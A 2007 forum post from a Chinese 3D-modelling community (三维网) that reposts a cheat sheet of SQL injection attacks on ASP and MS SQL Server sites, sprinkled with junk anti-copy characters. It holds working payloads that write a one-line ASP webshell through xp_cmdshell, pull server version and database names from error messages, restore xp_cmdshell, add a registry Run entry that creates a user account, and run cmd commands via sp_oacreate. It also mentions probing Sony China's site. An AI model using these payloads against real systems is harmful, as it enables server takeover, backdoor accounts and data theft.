QQ登录

只需一步,快速开始

登录 | 注册 | 找回密码

三维网

 找回密码
 注册

QQ登录

只需一步,快速开始

展开

通知     

查看: 1485|回复: 0
收起左侧

[分享] 最详细的SQL注入相关的命令整理

[复制链接]
发表于 2007-11-25 16:23:41 | 显示全部楼层 |阅读模式 来自: 中国四川成都

马上注册,结识高手,享用更多资源,轻松玩转三维网社区。

您需要 登录 才可以下载或查看,没有帐号?注册

x
1、 用^转义字符来写ASP(一句话木马)文件的方法:
) y% l, a; l+ |/ J! W$ t* }&#61656; http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--6 `5 R! V& U9 w5 e; Y" d
&#61656; echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
2 Z, g' u7 t1 \! c  T# Z2 ?2、 显示SQL系统版本: 8 r1 ~0 v  n' B
&#61656; http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION) 6 u9 i- k; D% a2 }+ A
&#61656; http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
7 q- n% @9 o: g# [Microsoft VBScript 编译器错误 错误 '800a03f6'
' R  Z' ~- ?  R3 `1 W' R( r缺少 'End'
( U! L; {, Q0 n5 L" F/iisHelp/common/500-100.asp,行242 5 O7 z7 Q2 R( c6 w' i
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
8 i0 n6 W: J4 Z[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
5 g& e- P% R4 V% S* [* X/display.asp,行17- W0 Y$ a4 Y1 k/ X
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in('firstsee')”的查询语句造成的。
) Q3 d$ x$ H0 q( e( B* D' k4、 判断xp_cmdshell扩展存储过程是否存在:+ f. c" K5 k/ L2 A' o
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')  \  _" t' f4 q( W" i
恢复xp_cmdshell扩展存储的命令:* Q" y) e, u* q8 L. }
http://www.test.com/news/show1.asp?NewsId=125272; s7 `3 E5 Z* ^$ D# T) G: D
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--2 \3 \+ u) I: ^& {, V' T% v4 g
5、 向启动组中写入命令行和执行程序:
+ k6 a  b4 @( z2 c6 L7 G3 _http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
4 y5 m- V  a  [" r/ p- _  Q9 N, z7 g; f0 s" ^2 ^/ A! }* d$ v
6、 查看当前的数据库名称:
% O- I% ~6 x$ d6 ], C&#61656; http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了5 z  a  Y) u; H
&#61656; http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--$ w* R! o  |, A0 h0 v
Microsoft VBScript 编译器错误 错误 '800a03f6' 0 U. e1 W, R" y/ [
缺少 'End'
8 `; K6 ^" g% a/iisHelp/common/500-100.asp,行242
) y" {) R$ ^4 M! H  ]8 g) nMicrosoft OLE DB Provider for ODBC Drivers 错误 '80040e07' 6 N+ e1 d  s; }' z, x. `9 u% l
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
5 `3 H* t0 W! W3 |/display.asp,行17 1 ~# y5 l) t2 w
7、 列出当前所有的数据库名称:
4 O! A* R. o1 B" p9 n+ Kselect * from master.dbo.sysdatabases 列出所有列的记录" ?- H4 L- _, G' v+ o
select name from master.dbo.sysdatabases 仅列出name列的记录
2 l* a& K! Y! \. ~5 z0 L8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:% e' v. @1 K! j  w
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
  c. O4 w" C1 `% z) ]( g5 c3 xDECLARE @shell INT
& f% [/ Q; X+ k! @/ J' jDECLARE @fso INT
' M+ s) L5 @6 h. |- h( ~/ \1 _! qDECLARE @file INT
2 V: L/ S* V4 D- Q! Q4 X  eDECLARE @isEnd BIT
- m- @( l* h- C0 d# ~+ Y6 nDECLARE @out VARCHAR(400)
+ b; h" D0 I3 `5 c% E4 Z% TEXEC sp_oacreate 'wscript.shell',@shell output0 F5 @8 ]2 E3 H6 ?- d" U
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'( }( h6 c0 v6 c4 N0 H
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
+ \! r; k+ W$ m5 X& ]EXEC sp_oacreate 'scripting.filesystemobject',@fso output
/ k" @3 M6 M. p0 ?EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'+ O' F( q) h* G8 Q6 T8 D
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌& E, ]1 O9 u6 u
WHILE @shell>0
. m8 P9 n* h# C  Q% d% dBEGIN4 u% s3 [+ p" @+ ^" i1 J" A
EXEC sp_oamethod @file,'Readline',@out out  G. F" l, ^. G7 L& e" T* w1 w
insert INTO MYTMP(info) VALUES (@out)
: O! `5 i: F6 [2 q$ z( kEXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
: b. f) N7 O# w7 x* ?, h4 a. wIF @isEnd=1 BREAK
9 ]* A) ~2 |4 F" OELSE CONTINUE
- [1 H% E% @6 f! FEND
1 A& X" J4 ^, D' B3 S* sdrop TABLE MYTMP
, k* Y; ^, m% b----------
- q# c. Z2 l8 w  i' dDECLARE @shell INT  z% g5 J" s) w) b5 z' o
DECLARE @fso INT
) {: R7 U: Q0 b, x% P$ `DECLARE @file INT
( ^  k" ?7 t- e  F: m) lDECLARE @isEnd BIT
4 h  y0 C( G) SDECLARE @out VARCHAR(400), z" |! J& }' o& K# d; [
EXEC sp_oacreate 'wscript.shell',@shell output
$ Q' ?+ X1 U  d2 YEXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
# a* `' c/ ^6 AEXEC sp_oacreate 'scripting.filesystemobject',@fso output+ F, f  F6 ~" C& {, X
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
: o' F" _% }5 `) QWHILE @shell>0" |3 J* D2 ]; a
BEGIN
+ u  A( B; }& B% x; L3 s3 C2 c8 @EXEC sp_oamethod @file,'Readline',@out out
8 v1 }4 ^) ?8 b5 X7 Z# qinsert INTO MYTMP(info) VALUES (@out)
# X$ `+ W/ m' R4 D3 q# K3 gEXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out8 c3 {' `6 x4 B' |2 k& D% u
IF @isEnd=1 BREAK" }. g; P& \' i. U2 F& c
ELSE CONTINUE
9 e* j! f# l5 H# }! QEND
发表回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Licensed Copyright © 2016-2020 http://www.3dportal.cn/ All Rights Reserved 京 ICP备13008828号

小黑屋|手机版|Archiver|三维网 ( 京ICP备2023026364号-1 )

快速回复 返回顶部 返回列表